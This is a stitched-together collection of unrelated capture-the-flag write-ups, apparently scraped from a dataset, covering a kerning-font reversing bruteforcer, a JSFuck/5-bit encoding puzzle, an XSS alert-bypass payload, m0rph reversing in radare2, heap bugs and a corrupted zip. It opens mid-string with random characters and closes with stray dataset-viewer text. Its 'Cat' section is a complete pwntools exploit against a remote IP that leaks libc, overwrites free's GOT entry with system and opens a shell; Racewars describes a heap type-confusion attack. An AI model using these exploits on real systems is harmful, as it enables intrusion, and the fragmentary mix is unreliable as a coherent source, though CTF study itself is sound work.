joic98sejzdo3kieunrzxm9wku7i4011z21mgfydsc4h4vfhjf73tnv3obko3irds88mwyu5yr77qy1urkvnoet03nv6oso9s7gyn0fz0t9600niaa46cf9wmp7yaj84r8s1tp35im=== YOUR ANSWER IS HERE ===```
Then, simply go to [this website](https://libraryofbabel.info/), select browse, enter the huge string into the ```Hex Name``` field, and select the correct wall (3), shelf (5), volume (25), and page (248). The flag will be on that page.
```averyunobviouskey``` |
# Kerning - Reversing - 150 Points
## Challenge description:
Made on an arch machine, by awg
"kerning" file from https://drive.google.com/open?id=1Ye5I5yUfuH_-ntAJMnd_ikAdb9DnszOD
## Lookin at it
Looks to be the usual reversing binary. Run the binary with the flag as the argument, and it will either tell you right or wrong.
```bash~/kerning$ ./kerningUsage: ./kerning WPI{some_Fl4g-to 7ry}``````bash~/kerning$ ./kerning WPI{YOLOSWAGWHATSINTHEBAG}Wrong ``` First examination of the main function reveals loading /usr/share/fonts/TTF/FreeSans.ttf, and then doing an md5sum on it. If this md5sum does not match 22f8930d33f395544eb0034b7de24f41, the process will exit.   The challenge description "Made on an arch machine" is somewhat of a hint, as the file matches the one in the official arch repo. https://www.archlinux.org/packages/extra/any/ttf-freefont/ We can also see a loop with some calls to various STB_truetype functions. https://github.com/nothings/stb/blob/master/stb_truetype.h  We can guess here that its probably rendering something using FreeSans as a font. That something further appears to be the flag we enter, as it loops through argv[1] as it is calling the STB functions.
After all of that is done, there is a loop where the rendered text output has vertical slices of it hashed (using the domd5 function). Those hashes are compared to known values in obj.texthashes. If any of the hashes mismatch, it printfs "Wrong\n" and exits.  Because these are only vertical slices, the changing a character will not effect the md5sums of (most of) the slices before/to the left of it. The loop only exits on the first instance of a wrong vertical slice, so we can do something similar to a timing attack on this. (we could also do a timing attack, but thats more effort) ## Getting the flag We can count the number of times it goes through the loop as an indicator if we got the correct sequence of letters. The loop exits at the first "wrong" vertical slice. A timing attack would work on this, but it is much simpler to use ltrace to count the number of calls to MD5_Final.
```python#! /usr/bin/python2from pwn import *
curstring = 'WPI{'
while curstring[-1] is not '}': top = [0, 0] for i in range(0, 127): c = chr(i) teststring = curstring + c s = process(["ltrace", "-e", "MD5_Final", "./kerning", teststring]) res = s.recvall().count("MD5_Final") s.close()
if res >= top[0]: top[0] = res top[1] = c curstring += top[1] print(str(top[0]) + " " + top[1] + " " + curstring)```
This works for the first few words, but the first character of the third word has a bunch of different possibilities that all result the same score. This is due to the character 'i' fitting entirely within one vertical slice, and requiring both 'i' and the character after it to be correct in order for that vertical slice to work.

I remade my "bruteforcer" to keep a list of all the attempts that shared the same highscore. This got through that issue and ran perfectly.
```python#! /usr/bin/python2from pwn import *
curlist = [['WPI{', 0]]
maxscore = 0
while maxscore < 165: ## was origionally just while True, but this check just makes sure the program doesnt run on forever #Populate list tlist = [] for j in curlist: tlist.append(j) for i in range(0, 127): tlist.append([j[0]+chr(i), 0])
#score list jlist = [] for j in tlist: if j[1] == 0: #only calculate score if not already calculated s = process(["ltrace", "-e", "MD5_Final", "./kerning", j[0]]) j[1] = s.recvall().count("MD5_Final") s.close() if maxscore < j[1]: maxscore = j[1] jlist.append(j)
#remove anything that isnt tied with the high score curlist = [j for j in jlist if j[1] >= maxscore] print(curlist)
```
After we let it do its thing for a few minutes, we get the answer.

WPI{I_majored_in_typography} |
```from pwn import *
context.binary = "./Cat"
#p = process("./Cat")p = remote("178.62.40.102", 6000)
def create_record(r, name, kind, age): r.sendlineafter("> ", "1") r.sendlineafter("> ", name) r.sendlineafter("> ", kind) r.sendlineafter("> ", str(age))
def edit_record(r, id, name, kind, age, modify): r.sendlineafter("> ", "2") r.sendlineafter("> ", id) r.sendlineafter("> ", name) r.sendlineafter("> ", kind) r.sendlineafter("> ", str(age)) r.sendlineafter("n> ", modify)
def print_record(r, id): r.sendlineafter("> ", "3") r.sendlineafter("> ", id) r.recvuntil("name: ") name = r.recvline() r.recvuntil("kind: ") kind = r.recvline() r.recvuntil("old: ") old = int(r.recvline(), 10) data = r.recvuntil("----------------") return name, kind, old
create_record(p, "", "", 0)edit_record(p, "0", "", "", 0, "n")
buff1 = 0x6020b8 # entry number 3buff2 = buff1 + 8 # entry number 4
payload = p64(buff1) # this allows us to write there with namepayload += p64(buff2) # this allow us to write there with kindcreate_record(p, "", payload, 0)# this leaks got.read+3 = malloc# this leaks got.free+3 = putsedit_record(p, "0", p64(context.binary.got.read), p64(context.binary.got.free) , 0, "y")_, _, o = print_record(p, "3")_, _, o2 = print_record(p, "4")
# o points to malloc, o2 points to puts# this allows us to figure out which libs is in use# we download it and use it locallylibc = ELF("./libc.so")libc.address = o - libc.sym.malloc
create_record(p, "", "", 0) # record 4create_record(p, "", "", 0) # record 5create_record(p, "", "", 0) # record 6
edit_record(p, "6", "", "", 0, "n")payload = p64(context.binary.got.free) # we want to overwrite the free got entry with systempayload += p64(buff2) # unused# "/bin/sh" is uses in freecreate_record(p, "/bin/sh", payload, 0)edit_record(p, "7", p64(libc.sym.system), p64(context.binary.got.free) , 0, "y")
p.sendline("cat /home/pwn/flag")p.interactive()``` |
For more PACTF write-ups, [check this out](https://leniumc.github.io/categories/CTF/).
We can easily figure out that the text file was in a language called JSFuck. Using an online decoder, we get this message.
```Congrats! You've uncovered the truth. Now go here: ibarakaiev.shpp.me/pactf_s7fj43/ai.zip```
From the given URL, we obtain [this](ibarakaiev.shpp.me/pactf_s7fj43/ai.zip) file. Looking through all of the files in the zip, there is one named ```script.js``` .
There was this line of code.``` javascriptappend_ai('The key is now stored securely in ("http://ibarakaiev.shpp.me/pactf_s7fj43/key_%d.txt", get_key_number(6, [16, 23, 16, 15, 42, 8])).', 30, 300);```
And this function.``` javascript// this function returns the number needed to access key_%d.txtfunction get_key_number(n, arr) { // TODO: implement solution to the following problem
/** * You are given a sequence _s_ consisting of _N_ integers. You can divide it to * two sequences _p_ and _q_ such that every element of your sequence belongs exactly * to one of these sequences. * * Let _B_ be the sum of elements belonging to _p_, and _C_ be the sum of elements * belonging to _C_. Note: if some of the sequences is empty then its sum is 0). * What is the maximum possible value of _B_ - _C_ */}```
Looking at the function description, we find that the integer in the file name ```key_%d.txt``` must be the sum of ```[16, 23, 16, 15, 42, 8]```, which is 120. Going to that website, we obtain another text file.
```But you'll have to decrypt it first! The following text is displayed using byfes (it's like bytes but only 5 bits).
mrxwozAp
PACTFSCII is as follows (it's like ASCII but for PACTF). PACTF system only accepts ASCII characters, however.0 - a1 - b2 - c3 - d4 - e5 - f6 - g7 - h 8 - i 9 - j10 - k11 - l12 - m13 - n14 - o15 - p16 - q17 - r18 - s19 - t20 - u21 - v22 - w23 - x24 - y25 - z26 - P27 - A28 - C29 - T30 - F31 - \0```
Representing the given text in ```byfes``` in binary form, and we obtain this result.
```01100 10001 10111 10110 01110 11001 11011 01111```
Recombining these binary numbers in groups of 8 and converting each group to an ascii character reveals the flag.
```doggo``` |
This challenge is a reverse / exploit composed of 5 binaries (ELF 64 bits).
[https://gist.github.com/masthoon/a5bfa12503d4bb4d357de351a4c60198](https://gist.github.com/masthoon/a5bfa12503d4bb4d357de351a4c60198) |
We are presented with a page instructing us to pop an alert box on the page by injecting some content through a query parameter called 'xss'. If we click on the example of xss=hello and view the page source, we see that it injects our input into the context of a string variable inside of a script tag.```<script>var x ='hello'; var y = `hello`; var z = "hello";</script>```Each of the variables use different types of quotations, but that doesn't matter because we only need one of them anyways. So lets start by submiting a single quote in order to get some javascript execution. Note that adding the comment at the end means we don't have to worry about our injected text causing the later parts of the script to throw syntax errors.```.../?xss=hello'; alert(1); //```This seems promising, but also not quite right.

This is a prompt box, not an alert. And when we try to submit the url it doesn't work. Scanning the page source for anything javascript or prompt related, we find this tag:```<script src="/static/no_alert_for_you.js"></script>```And of course this script is turning the alert box into a prompt...

So in order to get the correct alert to show up we have to somehow retrieve the original alert function first before we can call it. A quick google (or duckduckgo for those not wishing to land on an FBI watch list) search reveals that one way, or really the only way of doing this is by creating an iframe and then retrieving the function out of the `contentWindow` object of that iframe. Our payload then becomes something like this.
```var f = document.createElement('iframe'); f.style.display='none'; // Hiding the iframe is completely optionaldocument.body.append(f); window.alert = f.contentWindow.alert; document.body.removeChild(f); // Removing the iframe is also optionalwindow.alert(1);```
Or if we slap it into the query string:```.../?xss=hello'; var f = document.createElement('iframe'); document.body.append(f); window.alert = f.contentWindow.alert; window.alert(1); //```And this time we actually see the correct alert.

We submit the full url of this payload to the page and get the flag: `sctf{cr0ss_s1te_n0scr1ptinG}` |
This Write-Up is about solving the `m0rph` challenge from [34C3CTF](https://34c3ctf.ccc.ac/) using [IDA Pro](https://www.hex-rays.com/products/ida/) and [radare2](https://github.com/radare/radare2).I chose this to start on, because it looked easy to me and was marked *easy*.So I planned on doing a detailed step-by-step guide.
## Getting to know the target
Get and unpack [m0rph](https://34c3ctf.ccc.ac/uploads/m0rph-9d6440cf8e1e4c6825b2efa16b3f993d.tar.gz).
```$ wget https://34c3ctf.ccc.ac/uploads/m0rph-9d6440cf8e1e4c6825b2efa16b3f993d.tar.gz$ tar -xzvf m0rph-9d6440cf8e1e4c6825b2efa16b3f993d.tar.gz$ cp m0rph/morph .$ sha256sum morph426070d85dd517363f328690d39c5399b833b5f2d7057980915f9012967774bc morph```
First thing we notice is that the target is quite small.
```$ ls -lhS morph-rwxr-xr-x 1 koyaan koyaan 10K Dez 27 17:52 morph$ file morphmorph: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked,interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,BuildID[sha1]=1c81eb4bc8b981ed39ef79801d6fef03d4d81056, stripped```
So, `file` output suggest we got a stripped 64-bit ELF executable.Starting it with various inputs gives us nothing but a non-zero exit-code.
```$ ./morphkoyaan@meld: ~/ccc/rev3/m0rph 1$ ./morph `python -c 'print("A"*1024)'`koyaan@meld: ~/ccc/rev3/m0rph 1$```
`strings` reveals one interesting string:
```$ strings morph/lib64/ld-linux-x86-64.so.2libc.so.6exitsrandputs[...]What are you waiting for, go submit that flag![...].comment```
It looks like `morph` might just check a flag we submit for validity! Next, we are going to load it up in `radare2`.
## Getting layoutFirst we disable ASLR to make our life easier:
```$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space```
Then we start `morph` in `radare2` and print the entrypoint with `ie`.
```$ radare2 -d ./morphProcess with PID 21623 started...= attach 21623 21623bin.baddr 0x555555554000Using 0x5455555554000asm.bits 64[0x7ffff7dd7c30]> ie[Entrypoints]vaddr=0x5555555547a0 paddr=0x000007a0 baddr=0x555555554000 laddr=0x00000000haddr=0x00000018 type=program
1 entrypoints
[0x7ffff7dd7c30]>```
We see, that the base address of our executable is at `0x555555554000` and the entrypoint is at `0x5555555547a0`.Next step is to disassemble `morph` with IDA Pro.
## Disassemble `morph`
First thing we do after letting the auto-analysis finish, is rebasing the program, such that all addresses correspond with the ones observed in the debugger.To do this we use _Edit | Segments | Rebase program..._ and entered the base address we observed in `radare2`, `0x555555554000`.
After rebasing, we start examining the `main` function and can immediately see two checks that look alot like checking `argc` and the length of `argv[1]` - and which get assigned at the very beginning (see Figure 1).So we can rename `var_24` to `argc` and `var_30` to `argv`. Now we can assume that `morph` takes one argument and it has to be 23characters long.

**Figure 1 -** Use of `argv` coming from `rsi` getting stored into `var_30
The function `sub_5555555541B0` allocates and sets up some structure with 23 elements at the location `qword_555555755900`. We rename this location to `struct`, call this function `setupstruct` and also change its type to `__fastcall` (see Figure 2).

**Figure 2 -** Function `setupstruct`
We could now immediately start creating a proper structure in IDA Pro, but let's try to get an overview of the program first.
Examining `sub_555555554267`, we see that it just shuffles the elements of `struct` randomly.
```cvoid shufflestruct(){ unsigned int v0; // eax@1 int rand1; // ST10_4@2 int rand2_pre; // eax@2 __int64 temp; // ST18_8@2 signed __int64 rand2; // rcx@2 signed int i; // [sp+Ch] [bp-14h]@1
v0 = time(0LL); srand(v0); for ( i = 0; i <= 255; ++i ) { rand1 = rand() % 22 + 1; rand2_pre = rand(); temp = *(_QWORD *)(8LL * rand1 + struct); rand2 = 8LL * (rand2_pre % 22 + 1); *(_QWORD *)(struct + 8LL * rand1) = *(_QWORD *)(rand2 + struct); *(_QWORD *)(struct + rand2) = temp; }}```
In the the lower part of `main`, we can see a loop and rename the loop variable `loop_i`.

**Figure 3 -** Checking loop in `main`
What we cannot follow here are the two `call eax` we see in Figure 3. Let's figure out what happens there with `radare2`.From the normal view in IDA Pro we can see they happen at `0x0000555555554B95` and `0x0000555555554BC6`.
## Debugging with `radare2`
We start `morph` with an initial guess based on the known flag format, set breakpoints on the `call eax` instructions with `db` and continue the program with `dc`.
```$ radare2 -d ./morph 34C3_AAAAAAAAAAAAAAAAAAProcess with PID 2544 started...= attach 2544 2544bin.baddr 0x555555554000Using 0x555555554000asm.bits 64[0x7ffff7dd7c30]> db 0x0000555555554B95[0x7ffff7dd7c30]> db 0x0000555555554BC6[0x7ffff7dd7c30]> dchit breakpoint at: 555555554b95[0x555555554b95]>```
We then use `V` to go to visual mode and `p` two times to cycle to debugger view (`P` cycles backwards).This leaves us at the view of Figure 4.

**Figure 4 -** At the call
We now step into the call with `F7` and step more times until we reach the `cmp` instruction (see Figure 5).

**Figure 5 -** Passing check
We hit `:` to get into command mode and enter `px 23 @ rdi` to dump 23 bytes in hex-format starting from theaddress stored in `rdi`. We can confirm this is our flag under scrutiny!
```:> px 23 @ rdi- offset - 0 1 2 3 4 5 6 7 8 9 A B C D 0123456789ABCD0x7fffffffe09b 3334 4333 5f41 4141 4141 4141 4141 34C3_AAAAAAAAA0x7fffffffe0a9 4141 4141 4141 4141 41 AAAAAAAAA```Since this check is fine, let's continue with `dc`, step 4 times (`4ds`), seek to `rip` (`s rip`) and hit enter then to go back to visual mode (see Figure 6).We see one of the 'A's is getting compared to 'h' (`cmp al, 0x68`). We see which one by printing `px 23 @ rdi` again.Subtracting this from the known start address gives us the numerical offset into the flag with the evaluate command `?`.
```:> dcchild stopped with signal 28[+] SIGNAL 28 errno=0 addr=0x00000000 code=128 ret=0hit breakpoint at: 555555554b95:> 4ds:> s rip:> dr al0x00000041:> px 23 @ rdi- offset - 0 1 2 3 4 5 6 7 8 9 A B C D 0123456789ABCD0x7fffffffe0ab 4141 4141 4141 4100 5844 475f 5654 AAAAAAA.XDG_VT0x7fffffffe0b9 4e52 3d37 004c 435f 50 NR=7.LC_P:> ? rdi-0x7fffffffe09b16 0x10 020 16 0000:0010 16 "\x10" 0b00010000 16.0 16.000000f 16.000000 0t121:>```This shows that the 17th character of the flag should be an `h`

**Figure 6 -** Failing check
## IterateNo we can just restart the process with our new guess `ood 34C3_AAAAAAAAAAAhAAAAAA`, skip over the first break and repeat these steps:
- Step 4 times `4ds`- Print the `cmp` instruction that is next `pd 1 @ rip`- Print the character being compared `dr al`- Print the offset into the flag (`? rdi-0x7fffffffe09b~[:2]` using the "mini grep" `~` with python-like indexing for the result to just get the integer value)
```:> ood 34C3_AAAAAAAAAAAhAAAAAA[0x7ffff7dd7c30]> dchit breakpoint at: 555555554b95[0x555555554b95]> dchit breakpoint at: 555555554b95[0x555555554b95]> 4ds[0x7ffff7ff5176]> pd 1 @ rip;-- rip:0x7ffff7ff517a 00:0000 3c30 cmp al, 0x30 ; '0' ; 48[0x7ffff7ff5176]> dr al0x00000041[0x7ffff7ff5176]> ? rdi-0x7fffffffe09b~[:2]22[0x7ffff7ff5176]>```
We see that the 23rd character should be a `0`, so we restart with `ood 34C3_AAAAAAAAAAAhAAAAA0` and so on, reconstructing the flag character by character.
```$ ./morph 34C3_M1GHTY_M0RPh1nG_g0What are you waiting for, go submit that flag!``` |
# Racewars - 135pt
The binary has a bunch of functonality to outfit your car and modify those parts. No obvious bugs, the only one is we can pass an arbritrary size to the heap allocator when buying tires intially:
```cputs("how many pairs of tires do you need?");__isoc99_scanf("%d", &num_tires);if ( num_tires <= 1 ){ puts("you need at least 4 tires to drive..."); exit(1);}v6 = 32 * num_tires; // unbounded!!!!v7 = (Tire *)heap_alloc(a1, 32 * num_tires);```
The 32 * numTires is implemented as:
```assemblymov eax, [rbp+num_tires]shl eax, 5```
The custom heap is implemented as a couple linked lists and some other weird stuff. The internals aren't important, but if we pass 0 as the size to the heap allocator we will get a pointer on the heap, and the next allocation will return that same pointer. So we get a type confusion that way. We send (2 << 33) >> 5 as our size to send 0 to the allocator.
With the modifyTires function we control the first 8 bytes of the Tire struct completely. Modify transmission has the following code:```c printf("ok, you have a transmission with %zu gears\n", a1->num_gears); printf("which gear to modify? "); __isoc99_scanf("%zu", &v2;; if ( a1->num_gears > (unsigned __int64)--v2 ) { printf("gear ratio for gear %zu is %zu, modify to what?: ", v2 + 1, (unsigned __int8)a1->gears[v2]); v4 = v2; __isoc99_scanf("%zu", &v2;; printf("set gear to %d\n? (1 = yes, 0 = no)", v2); __isoc99_scanf("%zu", &v3;; if ( v3 ) a1->gears[v4] = v2; // relative write if choice unbounded }```
Transmission is defined as:```00000000 Transmission struc ; (sizeof=0x18, mappedto_6)00000000 num_gears dq ?00000008 type db ?00000009 gears db 15 dup(?)00000018 Transmission ends```
So we use the type confusion to set num gears to 2^64, and then use the relative read and write to leak a pointer on the heap, and resolve that to get an arbritrary r/w. Then we leak a libc address from the PLT and write a magic gadget to exit() |
Looking at the given file, it had the 0x50 0x4B (PK in ascii) magic number, which means it's zip. When extracting it, 7zip gave the warning that *There are some data after the payload data*. The extracted contents seem to look like a *docx* file, but Microsoft Word couldn't open it claiming that it was corrupted.
To check what's after the payload data, I looked at the end of the file and saw that it ends with 0x4B 0x50, which is the zip magic number reversed, so I decided to attempt to reverse it with the following Python:open("reversed", "wb").write(open("original", "rb").read()[::-1])
The extracted payload from the reversed file also looked like *docx* and also couldn't be opened with Word, but this time in the /word/media payload folder there was an image that displayed the flag. |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.